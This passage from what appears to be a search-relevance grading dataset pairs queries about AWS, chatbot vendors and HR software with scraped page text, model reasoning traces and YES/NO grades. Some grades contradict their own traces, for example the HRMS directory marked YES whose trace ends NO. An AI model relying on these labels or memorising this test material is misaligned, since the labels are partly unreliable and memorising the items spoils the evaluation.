                "text": "Cloud computing with AWS \n Amazon Web Services (AWS) is the world\u2019s most comprehensive and broadly adopted cloud, offering over 200 fully featured services from data centers globally. Millions of customers\u2014including the fastest-growing startups, largest enterprises, and leading government agencies\u2014are using AWS to lower costs, become more agile, and innovate faster.  \n \n \n  \n  \n  Cloud computing with AWS \n Amazon Web Services (AWS) is the world\u2019s most comprehensive and broadly adopted cloud, offering over 200 fully featured services from data centers globally. Millions of customers\u2014including the fastest-growing startups, largest enterprises, and leading government agencies\u2014are using AWS to lower costs, become more agile, and innovate faster.  \n \n \n  \n  \n  \n  The leading cloud \n \n  \n  \n  \n  \n  \n  \n  \n \n  \n  Most functionality \n  \n AWS has significantly more  services , and more features within those services, than any other cloud provider\u2013from infrastructure technologies like compute, storage, and databases\u2013to emerging technologies, such as machine learning and artificial intelligence, data lakes and analytics, and Internet of Things. This makes it faster, easier, and more cost effective to move your existing applications to the cloud and build nearly anything you can imagine. \n AWS also has the deepest functionality within those services. For example, AWS offers the widest variety of databases that are purpose-built for different types of applications so you can choose the right tool for the job to get the best cost and performance. \n  \n  \n  \n  \n  \n  \n  \n  \n  \n  \n \n  \n  Most functionality \n  \n AWS has significantly more  services , and more features within those services, than any other cloud provider\u2013from infrastructure technologies like compute, storage, and databases\u2013to emerging technologies, such as machine learning and artificial intelligence, data lakes and analytics, and Internet of Things. This makes it faster, easier, and more cost effective to move your existing applications to the cloud and build nearl",
                "model_trace": "Query Decomposition:\n1. [When AWS was founded]: The document does not provide information on when AWS was founded -> ([0], UNSATISFIED)\n2. [How AWS has grown to become the dominant cloud computing platform]: The document mentions that AWS is the \"world\u2019s most comprehensive and broadly adopted cloud\" and highlights its customer base and service offerings, which implies its growth and dominance -> ([2], SATISFIED)\n3. [Key services and product offerings]: The document lists various AWS services, including infrastructure technologies, machine learning, AI, data lakes, analytics, and IoT -> ([1], SATISFIED)\n4. [How AWS competes with other major cloud providers like Microsoft Azure and Google Cloud]: The document states that AWS has significantly more services and features than any other cloud provider, implying its competitive edge -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are {how AWS has grown to become the dominant cloud computing platform}, {key services and product offerings}, and {how AWS competes with other major cloud providers like Microsoft Azure and Google Cloud}. All these subcomponents are SATISFIED.\n\nYES"
            },
            {
                "grade": "NO",
                "title": "Why Is AWS The BIGGEST Cloud Platform? - Cloud Career Mentor",
                "url": "https://www.cloudcareermentor.com/blog/why-is-aws-the-biggest-cloud-platform",
                "published_date": null,
                "text": "You've probably heard that AWS is the most dominant cloud provider, but have you ever wondered why that is? Today, we are diving into the world of cloud computing and exploring the powerhouse that is Amazon Web Services, better known as AWS.\n      \n      \n    \n  \n    \n      \n        I\u2019m going to walk you through;   the history of the cloud industry,  Why AWS is the biggest cloud provider, and How competitors like Azure and Google cloud are coming for AWS' throne.  \n      \n      \n    \n  \n  \n \n  \n  \n    \n  \n  \n  \n    \n      History of the Cloud industry\n    \n  \n  \n    \n      \n         Why AWS is so dominant?  It is important to understand how the cloud industry came to be. The concept of cloud computing started in the mid-2000s, with the launch of AWS in 2006. The retail giant Amazon pioneered the idea of providing computing power, storage, networking and other services over the internet, revolutionising how businesses manage and deploy their IT infrastructure.\u00a0\n      \n      \n    \n  \n    \n      \n        Following AWS, other major players like Microsoft Azure and Google Cloud Platform entered the scene, contributing to the rapid growth of the cloud industry. This shift allowed organizations to scale their operations more efficiently.\n      \n      \n    \n  \n    \n      \n        Before the cloud, if a company wanted to get IT infrastructure, they would have to buy expensive servers then wait days if not weeks for the server to arrive, then they would have to rack and configure the servers. It was a very expensive and time consuming process. Now they can be up and running in a matter of minutes for only a fraction of the cost.\n      \n      \n    \n  \n    \n      \n        Today, cloud computing has become essential to various industries. For example, in the healthcare sector, cloud solutions enable secure and accessible storage of patient data. Businesses leverage cloud platforms for seamless collaboration and data analysis. And the gaming industry relies on the cloud for scalable infrastructure to support online multiplayer",
                "model_trace": "Query Decomposition:\n1. [When AWS was founded]: The document mentions that AWS was launched in 2006 -> ([1], SATISFIED)\n2. [How AWS has grown to become the dominant cloud computing platform]: The document discusses AWS's pioneering role and its impact on the cloud industry, contributing to its dominance -> ([1], SATISFIED)\n3. [Key services and product offerings of AWS]: The document does not provide detailed information on specific services and products offered by AWS -> ([0], UNSURE)\n4. [How AWS competes with other major cloud providers like Microsoft Azure and Google Cloud]: The document mentions competitors like Azure and Google Cloud and their impact on the industry but does not provide detailed competitive analysis -> ([2], UNSURE)\n\nAssessment: The document satisfies the subcomponents related to the founding of AWS and its growth to dominance. However, it lacks detailed information on AWS's key services and product offerings, and the competitive analysis with Azure and Google Cloud is not fully covered. Considering the user's need for comprehensive details, the document is partially helpful but not entirely sufficient.\n\nNO."
            }
        ]
    },
    {
        "query": "My company is looking to implement a new customer service chatbot to help our clients. Can you find me information on companies that offer high-quality, customizable chatbot services that can integrate with our existing software and systems?",
        "grid_pos": [
            2,
            4
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Company/Startup/Corporation",
        "reasoning_trace": [
            "The provided queries are all focused on finding information about specific companies, startups, or technology products/services. They require a good understanding of the business landscape, competitive dynamics, and technical details to answer thoroughly. The queries cover a range of industries and use cases, from cloud computing and HR software to chatbots and productivity tools. Answering these queries well would demonstrate the search engine's ability to surface relevant, in-depth information from a variety of sources to meet the user's research needs."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "AI chatbots to grow your business | Chatsimple",
                "url": "https://www.chatsimple.ai/",
                "published_date": "2023-01-01",
                "text": "Convert Visitors to Customers LIVE agent for Sales and Supportpowered by AI Lead generation, qualification & conversion AI customer support quickly at scale CRM logging & multi channel integration Set up in 5 min. Supports 175+ languages Trusted by 10,000+ Businesses Stop losing and start engaging with customers All it takes is 5 minutes to create the perfect AI chatbot for your business Satisfied customer = Higher conversion The value we add Chatsimple engages with your visitors, understands their needs, promotes your business, helps you follow up with hyper personalized emails and convert them to customers. Imagine it as your best sales + customer service agent who lives on your website, working 24/7 to achieve your business goals. Attract more & more leads Let the lead generation flywheel kickstart Proactive engagement with human like conversations Capturing the visitor details and qualifying their needs Easy follow ups with personalized pre-drafted emails LIVE customer support Provide accurate responses quickly at scale Auto detection and supports 175+ languages High-quality responses 24/7 across multiple channels Engaging conversations to increase customer life time value Achieve your business goals Be it sales or booking a meeting or anything Guidance and product recommendations Upsell or cross-sell your products based on needs AI summarized insights on customer needs and issues ... Chatsimple is everywhere Assist your customers wherever they are by seamlessly supporting them across multiple channels. See Chatsimple in action Try it yourself \u27a1\ufe0f CASE STUDIES Real business stories Discover how diverse industries leverage Chatsimple to enhance customer experience and drive engagement. Unit 21 Unit 21 integrates Chatsimple for continuous support, aiding users in navigating its complex machine learning platform. Connex E-Commerce Connex harnesses Chatsimple for 24/7 customer support, enhancing response times and offering multi-language assistance. Connecta Recife Connecta Recife employs Chatsimple to guide citiz",
                "model_trace": "Query Decomposition:\n1. {companies that offer high-quality chatbot services}: The document mentions that Chatsimple offers AI-powered customer support with high-quality responses -> ([1], SATISFIED)\n2. {customizable chatbot services}: The document states that Chatsimple can be set up in 5 minutes and can create personalized emails and provide product recommendations based on needs -> ([2], SATISFIED)\n3. {integration with existing software and systems}: The document mentions CRM logging and multi-channel integration -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES"
            },
            {
                "grade": "YES",
                "title": "Artificial Intelligence powered customer support",
                "url": "https://dialogflows.com/",
                "published_date": "2018-05-21",
                "text": "Automatized & autonomous\ndigital customer support\n\nSelf-acting telecom\ncustomer support\n\nMultichannel chat ecosystem\nperformed by AI\n\nSingle core database improved\nby Machine Learning\n\nintegration with:\n\nWe provide Chat Bot development service including NLP modeling,\nArtificial Intelligence in platforms below\n\nGOOGLE\nDIALOGFLOW\n\nAMAZON LEX\nWITH ALEXA\n\nMICROSOFT\nBOT\n\nDIALOGFLOWS.com\n\nsavings in customer support costs\n\nWhat Our Clients Say:\n\nDirector of Strategic Planning and Development \n People find it emotionally exhausting when dealing with someone in the critical situation. Different things may happen, and we\u2019re all about the feelings\u2026\n\nTech Support Director \n When I hear the same question many times in a row, I become irritated. I guess, everyone does. Imagine yourself as a part of a tech support team. I appreciate my team as I\u2019ve personally trained them everything I know myself\u2026\n\nConsulting & Tech Support Advisor \n I\u2019ve always been a science fiction fan, but couldn\u2019t even imagine AI may become so human. I mean, language is a complex phenomenon and demands outstanding skills\u2026",
                "model_trace": "Query Decomposition:\n1. [companies that offer high-quality chatbot services]: The document is about a company that offers chatbot services -> ([1], SATISFIED)\n2. [customizable chatbot services]: The document mentions \"Chat Bot development service including NLP modeling, Artificial Intelligence,\" which implies a level of customization -> ([2], SATISFIED)\n3. [integration with existing software and systems]: The document states integration with platforms like Google Dialogflow, Amazon Lex, and Microsoft Bot -> ([1], SATISFIED)\n\nAssessment: The document satisfies all relevant subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "A Fully Automated Chatbot Platform To Build AI-Chatbot",
                "url": "https://botsify.com/",
                "published_date": "2023-02-07",
                "text": "The only all in one Feature Rich platform.\n\nEverything you need, all in one place.\n\nMultilanguage Chatbot\n\nCater to your international customers and have a global customer base with your Multilanguage\nChatbot feature. Translate into 100+ native languages within minutes!\n\nIntegration with 3rd Party Platforms\n\nMake your website user-friendly with our X+ integrations. Get secure data access, quicker\ndeployment, & save your development cost!\n\nLead Generation Conversational Forms\n\nQualify leads, engage your website visitors, and get more information from your leads with our\nconversational forms. Create a form, customize it according to your needs, & generate leads... it's\nthat simple!\n\nDedicated Chatbot Development Team\n\nOur potential & dedicated chatbot development team has chatbot developers, designers, and testers\nfor you to give optimum support. We ensure you the best chatbot development with top-notch UI & UX\n\nOmni Channel Platform\n\nSeamless cross-channel communication with our intuitive omnichannel chatbot platform. Embed your\nchatbot across Facebook, WhatsApp, Instagram, Website, & power your customer service!\n\nLiveChat with Agent Fallback\n\nSpeed up your customer service and positively impact your sales with live chat. Let a human agent\ntake over and resolve queries personally within minutes!\n\nSome questions you might have.\n\nHow can I collect leads from my chatbot?\n\nWe have the \"conversational forms\" built into the dashboard, which is intelligent enough\nto store your user information in a spreadsheet or CRM.\n\nDo I get lifetime support?\n\nLifetime customer support is available for this product and it is for free, however, the\nchatbot building support is also available for a lifetime but it\u2019s paid or comes with a\ndone-for-you plan.\n\nHow can I use a chatbot to automate customer service?\n\nA chatbot can serve as your customer service department's initial point of contact and\naddress common queries. Customers can get assistance from it 24/7 and through various\nmeans of communication.\n\nDo you have a Messenger chatbot?\n",
                "model_trace": "Query Decomposition:\n1. [companies that offer high-quality chatbot services]: The document describes Botsify as a feature-rich chatbot platform with various capabilities, suggesting it offers high-quality chatbot services -> ([1], SATISFIED)\n2. [customizable chatbot services]: The document mentions customizable conversational forms and a dedicated chatbot development team, indicating that the chatbot services are customizable -> ([1], SATISFIED)\n3. [integration with existing software and systems]: The document specifically mentions integration with third-party platforms, which implies compatibility with existing software and systems -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents related to the query. YES."
            },
            {
                "grade": "YES",
                "title": "CustomGPT.ai | Custom GPT With ALL Your Business Content",
                "url": "https://customgpt.ai/",
                "published_date": null,
                "text": "With ChatGPT + ALL Your Business Data  \n   Grow Customer Engagement Employee Efficiency Revenue with Customized AI     \n CustomGPT is the Customer Engagement AI Platform for businesses to grow Customer Engagement, Employee Efficiency &amp; Revenue with their own business data + ChatGPT  \n   \n  \n  Trusted By Companies And Customers Around The World   \n   \n   \n  Custom-Built ChatGPT For You    \n A custom ChatGPT model trained on your business content can automate repetitive tasks and provide quick responses to customer inquiries, freeing up human staff to focus on more strategic tasks. With ChatGPT + your business content, your business can provide more tailored and relevant customer interactions, enhancing the overall customer experience.  \nWith Customized AI technology, businesses can provide more tailored and relevant customer interactions, enhancing the overall customer experience.  \nBy leveraging cutting-edge AI technology, businesses can differentiate themselves from their competitors and stay ahead in an ever-evolving market.    \n  What If ChatGPT Knew ALL Your Business Content?    \nDiscover all the ways CustomGPT can help streamline your workflows and improve your company\u2019s efficiency.     Customer Service   Customer Engagement   Topic Research    \n  ChatGPT Made Simple: Power Up Your Business Data   \n   \n  Easy Setup    \nQuickly ingest your business content with our seamless Sitemap integration or Upload your files \u2013 Easy setup guaranteed!  \n  Powered by ChatGPT    \nGet cutting-edge AI capabilities with our ChatGPT-powered custom bot \u2013 Superior performance guaranteed.  \n  Share Your Bot    \nShare your custom bot with ease \u2013 via embed widgets, Livechat or API.   \n   \n   \n  Use Cases    \n   \nHow will CustomGPT unlock the potential for your business?   \n   \n    \n  \nCustomer Service\n  \n  \nCustomer Engagement\n  \n  \nTopic Research\n    \n   \n   \n  Plans &amp; Pricing     \nBasic\n   1000 pages/project  3 projects  10 million words  500 queries/month   Select Plan    \nStandard\n   5000 pages/project  10 projects  20 m",
                "model_trace": "Query Decomposition:\n1. [companies that offer high-quality chatbot services]: The document describes CustomGPT.ai as a company offering customized AI chatbot services -> ([1], SATISFIED)\n2. [customizable chatbot services]: The document mentions that CustomGPT.ai offers custom-built ChatGPT models tailored to business content -> ([1], SATISFIED)\n3. [integration with existing software and systems]: The document states that CustomGPT.ai offers easy setup with seamless Sitemap integration and API support -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query, providing information on a company that offers high-quality, customizable chatbot services with integration capabilities. YES"
            },
            {
                "grade": "NO",
                "title": "Top 22 benefits of chatbots for businesses and customers",
                "url": "https://www.zendesk.com/blog/5-benefits-using-ai-bots-customer-service/",
                "published_date": null,
                "text": "The rise of AI bots may sound like a sci-fi horror scenario, but in reality, the growing industry of chatbots isn\u00e2\u0080\u0099t scary at all. There are several benefits of chatbots\u00e2\u0080\u0094plus, many consumers give AI a thumbs up and like the idea of bots handling support queries. According to the Zendesk Customer Experience Trends Report 2022, 66 percent of customers say AI chatbots make their lives easier by saving them time and effort.\nAs people become more comfortable with the technology, it\u00e2\u0080\u0099s worth asking: Is my company\u00e2\u0080\u0099s support chatbot living up to consumers\u00e2\u0080\u0099 expectations?\n 26% of companies currently offer AI and chatbot-guided self-service, and 25% plan to add it soon. \nIf you offer a rule-based chatbot, the answer might be no. Rule-based chatbots are popular because they\u00e2\u0080\u0099re easy to set up, but they can only respond to a set number of questions with predetermined answers. Businesses are increasingly adopting AI chatbots due to their more advanced capabilities. Our CX Trends Report revealed that 26 percent of companies currently offer AI and chatbot-guided self-service, and 25 percent plan to add it soon.\nHelp your support team stay competitive by adopting AI chatbots. This technology uses data from support interactions to understand what customers want and improve its responses over time\u00e2\u0080\u0094providing a variety of benefits for businesses and consumers alike.\n1. Customers get answers faster\nDuring peak hours, your agents likely face a long queue of customers. Even with a centralized dashboard, agents can handle only so many people at once, so customers may be left waiting.\nHere\u00e2\u0080\u0099s the problem: consumers expect quick service, and their expectations for fast responses will only continue to grow. Bots ease agents\u00e2\u0080\u0099 workloads by helping customers find the answers they need. Unlike human agents, bots can answer multiple customer questions simultaneously, and with zero wait time. They can also provide 24/7 support.\nCompanies are also seeing very clear benefits from investing in AI chatbot technology. According to Junipe",
                "model_trace": "Query Decomposition:\n1. {Information on companies that offer high-quality, customizable chatbot services}: This document discusses the benefits of chatbots but does not mention specific companies offering chatbot services -> ([1], UNSATISFIED)\n2. {Chatbot services that can integrate with existing software and systems}: The document does not provide information on integration capabilities of chatbot services -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is {Information on companies that offer high-quality, customizable chatbot services}. Since the document does not satisfy this subcomponent, it is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "How are companies using chatbots to improve customer ...",
                "url": "https://www.quora.com/How-are-companies-using-chatbots-to-improve-customer-service",
                "published_date": null,
                "text": "You\u2019ve done what you can to cut back your spending.   You brew coffee at home, you don\u2019t walk into Target and you refuse to order avocado toast. (Can you sense my millennial sarcasm there?)   But no matter how cognizant you are of your spending habits, you\u2019re still stuck with those inescapable monthly bills. You know which ones we\u2019re talking about: rent, utilities, cell phone bill, insurance, groceries\u2026   So if you\u2019re ready to stop paying them, follow these moves\u2026   1. Overpriced Insurance: Cancel Your Car Insurance   You might not even realize it, but your car insurance company is probably overcharging you. In fact, they\u2019re kind of counting on you not noticing. Luckily, this problem is easy to fix.   Don\u2019t waste your time browsing insurance sites for a better deal. A company called  Insurify  shows you all your options at once \u2014 people who do this save up to $996 per year.   If you tell them a bit about yourself and your vehicle, they\u2019ll send you personalized quotes so you can compare them and find the best one for you.   Tired of overpaying for car insurance? It takes just five minutes to compare your options with Insurify and   see how much you could save on car insurance.   2. Online Shopping: If You Don\u2019t Use This Free Tool, You\u2019re Overpaying on Amazon   Wouldn\u2019t it be nice if you got an alert when you\u2019re shopping online at Amazon and are about to overpay?   That\u2019s exactly what   this free service  does.   Just add it to your browser for free, and before you check out, it\u2019ll check other websites to see if your item is available for cheaper. Let\u2019s say you\u2019re shopping for a new smart vacuum, and you assume you\u2019ve found the best price. Here\u2019s when you\u2019ll get a pop up letting you know if that exact vacuum is available elsewhere for cheaper. If there are any available coupon codes, they\u2019ll also automatically be applied to your order.   In the last year, this has saved people $800 million.   You can get started in just a few clicks to   see if you\u2019re overpaying online .   3. Internet: Get One Month of Free High-Sp",
                "model_trace": "Query Decomposition:\n1. {Companies that offer high-quality, customizable chatbot services}: The document does not mention any companies offering chatbot services -> ([0], UNSATISFIED)\n2. {Chatbot services that can integrate with existing software and systems}: The document does not mention integration capabilities of chatbot services -> ([0], UNSATISFIED)\n\nAssessment: The document does not address any of the key subcomponents of the query. It primarily discusses cost-saving tips unrelated to chatbot services. NO."
            }
        ]
    },
    {
        "query": "My team is evaluating different enterprise software platforms to manage our company's human resources functions like payroll, benefits, and employee records. Can you research the leading HR tech companies and their flagship products, and provide a comparison of the key features, pricing, and customer reviews for 3-4 top options?",
        "grid_pos": [
            2,
            4
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Company/Startup/Corporation",
        "reasoning_trace": [
            "The provided queries are all focused on finding information about specific companies, startups, or technology products/services. They require a good understanding of the business landscape, competitive dynamics, and technical details to answer thoroughly. The queries cover a range of industries and use cases, from cloud computing and HR software to chatbots and productivity tools. Answering these queries well would demonstrate the search engine's ability to surface relevant, in-depth information from a variety of sources to meet the user's research needs."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "HRMS Software Vendor Directory - 2021 Update",
                "url": "https://www.hrmsworld.com/hrms-vendor-directory-9.html",
                "published_date": "2023-01-31",
                "text": "HRMS Software Vendor Directory - 2021 Update\n Find the best HRMS vendor for your organization using our HR software directory. HRMS vendors provide HR software to oversee HR operations including payroll, employee records, recruitment, workforce analytics, and benefits. HRMS vendors offer a variety of support options alongside their software during and after implementation. Our HRMS vendor database has over 60 listed HR software providers including BambooHR, Workday, Namely, SAP SuccessFactors, and Zoho, which can be compared using our HRMS comparison tool.\n\nHome\n /\n\nHRMS Vendor Directory\n\nShowing filters:\n\nPDS\n\nPennsylvania-based PDS is a North American supplier of HRMS solutions. Founded over 45 years ago, the firm serves medium-s...\n View profile\n\nUKG\n\nAt UKG (Ultimate Kronos Group), Our Purpose Is People. Built from a merger that created one of the largest cloud companies...\n View profile\n\nZenefits\n\nZenefits is headquartered in San Francisco with offices in Tempe, Charlotte, Vancouver, and Bangladore. The HRIS platform,...\n View profile\n\nNamely\n\nNamely was formed in 2012, with offices throughout the US, the company was formed to meet the HR needs of growing mid-size...\n View profile\n\nEddy\n\nEddy's headquarters are based in Utah.\n View profile\n\ncitrusHR\n\ncitrusHR was founded in 2014 and is based in the UK.\n View profile\n\nNortek Solutions Inc.\n\nNortek Solutions Inc. was founded in 2000 and is based in Ontario.\n View profile\n\nCezanne HR\n\nHeadquartered in London, Cezanne HR also have offices in the US, Italy, and Brasil.\nCezanne HR is used by tens of thousan...\n View profile\n\nHRLocker\n\nA wide-ranging cloud-based HR Software and recruitment suite for scaling companies of 5-500 employees.\n View profile\n\nAPS\n\nAPS brings innovation and scalability to modern workforce management. APS believes that their clients, their employees, an...\n View profile\n\nSyncHR\n\nFounded in 2010, SyncHR is a provider of cloud-based human capital management technology aimed at mid-sized companies.\nSy...\n View profile\n\nJacando\n\nJacando is a Swi",
                "model_trace": "[QUERY] My team is evaluating different enterprise software platforms to manage our company's human resources functions like payroll, benefits, and employee records. Can you research the leading HR tech companies and their flagship products, and provide a comparison of the key features, pricing, and customer reviews for 3-4 top options?\n\n[WEBPAGE INFORMATION]\n[TITLE] HRMS Software Vendor Directory - 2021 Update\n[URL] https://www.hrmsworld.com/hrms-vendor-directory-9.html\n[DATE PUBLISHED] 2023-01-31\n[CONTENT] HRMS Software Vendor Directory - 2021 Update\n Find the best HRMS vendor for your organization using our HR software directory. HRMS vendors provide HR software to oversee HR operations including payroll, employee records, recruitment, workforce analytics, and benefits. HRMS vendors offer a variety of support options alongside their software during and after implementation. Our HRMS vendor database has over 60 listed HR software providers including BambooHR, Workday, Namely, SAP SuccessFactors, and Zoho, which can be compared using our HRMS comparison tool.\n\nHome\n /\n\nHRMS Vendor Directory\n\nShowing filters:\n\nPDS\n\nPennsylvania-based PDS is a North American supplier of HRMS solutions. Founded over 45 years ago, the firm serves medium-s...\n View profile\n\nUKG\n\nAt UKG (Ultimate Kronos Group), Our Purpose Is People. Built from a merger that created one of the largest cloud companies...\n View profile\n\nZenefits\n\nZenefits is headquartered in San Francisco with offices in Tempe, Charlotte, Vancouver, and Bangladore. The HRIS platform,...\n View profile\n\nNamely\n\nNamely was formed in 2012, with offices throughout the US, the company was formed to meet the HR needs of growing mid-size...\n View profile\n\nEddy\n\nEddy's headquarters are based in Utah.\n View profile\n\ncitrusHR\n\ncitrusHR was founded in 2014 and is based in the UK.\n View profile\n\nNortek Solutions Inc.\n\nNortek Solutions Inc. was founded in 2000 and is based in Ontario.\n View profile\n\nCezanne HR\n\nHeadquartered in London, Cezanne HR also have offices in the US, Italy, and Brasil.\nCezanne HR is used by tens of thousan...\n View profile\n\nHRLocker\n\nA wide-ranging cloud-based HR Software and recruitment suite for scaling companies of 5-500 employees.\n View profile\n\nAPS\n\nAPS brings innovation and scalability to modern workforce management. APS believes that their clients, their employees, an...\n View profile\n\nSyncHR\n\nFounded in 2010, SyncHR is a provider of cloud-based human capital management technology aimed at mid-sized companies.\nSy...\n View profile\n\nJacando\n\nJacando is a Swi\n\nIs this web page useful for this query? Have the last word in your reasoning be YES or NO.\n\nQuery Decomposition:\n1. {Research leading HR tech companies}: The document lists various HR tech companies and their profiles -> ([1], SATISFIED)\n2. {Flagship products}: The document mentions HRMS solutions but does not detail flagship products -> ([2], UNSURE)\n3. {Comparison of key features}: The document does not provide a direct comparison of key features -> ([1], UNSATISFIED)\n4. {Pricing}: The document does not include pricing information -> ([1], UNSATISFIED)\n5. {Customer reviews}: The document does not include customer reviews -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {Research leading HR tech companies} and {Flagship products}. While the document satisfies the first subcomponent, it does not provide enough information to satisfy the second subcomponent or the other key aspects of the query. NO."
            },
            {
                "grade": "YES",
                "title": "Gusto Vs Workfront (Jan 2023)",
                "url": "https://www.itqlick.com/compare/gusto-hr/atiim",
                "published_date": "2023-01-28",
                "text": "Shlomi Lavi / Jan 28, 2023 We publish unbiased reviews. Our opinions are our own and are not influenced by payments from advertisers. This content is reader-supported, which means if you leave your details with us we may earn a commission. Learn why ITQlick is free .\nBottom Line: Which is Better - Gusto or Workfront? Workfront is more expensive to implement (TCO) than Gusto, and Gusto is rated higher (99/100) than Workfront (72/100). Gusto offers users more features (9) than Workfront (0). There is a clear winner in this case and it is Gusto! Looking for the right Human Resources solution for your business? Buyers are primarily concerned about the real total cost of implementation (TCO), the full list of features, vendor reliability, user reviews, and the pros and cons. In this article we compare between the two software products: Gusto Vs. Atiim Inc. Gusto: Gusto was started in 2011 by best friends Josh, Tomer and Eddie to help every business in the world put people first. In 2015, we expanded our payroll service to all 50 states and opened a new office in Denver. We changed our name from ZenPayroll to Gusto to celebrate our customers' courage and passion. We also added health benefits and compliance ... Atiim Inc.: Atiim (i.e. A-team) is an innovative Enterprise Goals Management platform. We allow high-performing companies to set, manage and track company-wide business goals, align your teams and accelerate results.\nBecause the performance of your company is directly tied to the performance of your people, Atiim enables you to maximize your company\u2019s resu... Who is more expensive? Gusto or Atiim? The real total cost of ownership (TCO) of Human Resources software includes the software license, subscription fees, software training, customizations, hardware (if needed), maintenance and support and other related services. When calculating the TCO, it's important to add all of these \u201dhidden costs\u201d as well. We prepared a TCO (Total Cost) calculator for Gusto and Atiim. Gusto price starts at $39 per month , On a scale",
                "model_trace": "Query Decomposition:\n1. {Leading HR tech companies}: The document mentions Gusto and Workfront (Atiim), which are HR tech companies -> ([1], SATISFIED)\n2. {Flagship products}: The document discusses Gusto and Workfront (Atiim) products -> ([1], SATISFIED)\n3. {Comparison of key features}: The document compares features of Gusto and Workfront (Atiim) -> ([1], SATISFIED)\n4. {Pricing}: The document provides some information on pricing for Gusto -> ([1], SATISFIED)\n5. {Customer reviews}: The document provides ratings for Gusto and Workfront (Atiim) -> ([1], SATISFIED)\n6. {3-4 top options}: The document only compares two options, not 3-4 -> ([0], UNSATISFIED)\n\nAssessment: The document satisfies all the relevant subcomponents except for the requirement to compare 3-4 top options, which is tagged [0]. Therefore, the document is helpful for the user's request. YES."
            },
            {
                "grade": "NO",
                "title": "Zenefits",
                "url": "https://www.saasworthy.com/product/zenefits",
                "published_date": "2023-02-07",
                "text": "What is Zenefits and how does it work? \n Zenefits is an all-in-one digital solution explicitly built for HR management that offers a single source to manage the modern workforce. It offers the complete all-mobile HR experience by integrating all-powerful applications with thousands of best providers on the Zenefits platform. It is a solution that provides a cloud-based human resource information management platform ideal for businesses to manage dozens of HR services, including payroll compliance, health insurance, benefits, paid time off, and much more. Zenefits platform offers the most initiative and extensive HR experience in the market. The payroll management functionalities enable businesses to stay updated on the deduction and taxes easily. The compliance assistant app lets users maintain compliance modifications efficiently using inbuilt resources. Moreover, Zenfits\u2019s time management technology lets managers and organizers track and manage paid time off precisely. Zenefits comes with payroll benefits and performance application that integrates with advisory services and combined partner application to simplify HR management, reducing the paperwork. Additionally, tracking, recruiting, onboarding, and managing employee records is made easy with Zenefits software that comprises a subscription-based pricing strategy.",
                "model_trace": "Query Decomposition:\n1. [Leading HR tech companies]: The document provides information about Zenefits, which is a leading HR tech company -> ([1], SATISFIED)\n2. [Flagship products]: The document describes Zenefits as an all-in-one digital solution for HR management -> ([1], SATISFIED)\n3. [Comparison of key features]: The document lists several key features of Zenefits, such as payroll compliance, health insurance, benefits, paid time off, and employee records management -> ([1], SATISFIED)\n4. [Pricing]: The document mentions that Zenefits uses a subscription-based pricing strategy but does not provide detailed pricing information -> ([1], UNSATISFIED)\n5. [Customer reviews]: The document does not provide any customer reviews -> ([0], UNSURE)\n6. [Comparison with 3-4 top options]: The document only discusses Zenefits and does not compare it with other HR tech companies -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {Leading HR tech companies}, {Flagship products}, and {Comparison of key features}. These subcomponents are satisfied. However, the document does not provide detailed pricing information or customer reviews, and it does not compare Zenefits with other HR tech options.\n\nGiven that the user's query requests a comparison of multiple HR tech companies, this document alone is insufficient to meet the user's needs. NO."
            },
            {
                "grade": "YES",
                "title": "20 Best Enterprise HR Software Systems Reviewed For 2024",
                "url": "https://peoplemanagingpeople.com/tools/best-enterprise-hr-software/",
                "published_date": null,
                "text": "With so many different enterprise HR software solutions available, figuring out which is right for you is tough. You know you want to streamline processes such as recruitment, employee data management, payroll, benefits administration, performance evaluation, and compliance with labor laws\u2014but now need to figure out which tool is best. In this post, I'll help make your choice easy, sharing my personal experiences using dozens of different enterprise HR tools with large teams and companies, with my picks of the best enterprise HR software overall.  Enterprise HR software is a comprehensive digital solution designed for managing the diverse and complex human resource functions of large organizations. It encompasses a wide range of HR tasks, including recruitment, employee data management, payroll processing, benefits administration, performance management, and compliance tracking.  The purpose is to offer a centralized system for storing and accessing vast amounts of employee information, streamline HR processes, and facilitate effective communication and decision-making. It is tailored to support the strategic HR needs of large-scale operations, helping to enhance efficiency, ensure compliance, and improve overall workforce management.    Featured Tools         Overviews of the 10 Best Enterprise HR Software Here\u2019s my assessment of the 10 best enterprise HR software you can use now, with short descriptions of their key features and an explanation of why they\u2019re on the list. Keep reading to find additional bonus picks at the bottom of the list.       Deel is a comprehensive enterprise HR SaaS product that's designed to simplify the process of hiring and managing remote teams. It's a one-stop-shop for all things related to international payroll, compliance, and contractor management.  Why I picked Deel: What sets Deel apart from other HR tools in the market is its focus on international hiring and compliance. Most HR tools are designed for domestic hiring and don't offer the same level of support for international t",
                "model_trace": "Query Decomposition:\n1. {Leading HR tech companies}: The document reviews 20 of the best enterprise HR software systems, which likely includes leading HR tech companies -> ([1], SATISFIED)\n2. {Flagship products}: The document mentions specific products, such as Deel, and provides overviews of their key features -> ([1], SATISFIED)\n3. {Comparison of key features}: The document provides short descriptions of key features for each software -> ([1], SATISFIED)\n4. {Pricing}: The document does not mention pricing information -> ([0], UNSURE)\n5. {Customer reviews}: The document does not mention customer reviews -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {Leading HR tech companies}, {Flagship products}, and {Comparison of key features}. Since all these subcomponents are satisfied, the document is helpful for the user's request. YES."
            },
            {
                "grade": "NO",
                "title": "How to Evaluate HR Technology Solutions",
                "url": "https://www.nasrecruitment.com/2023/05/16/how-to-evaluate-hr-technology-solutions/",
                "published_date": null,
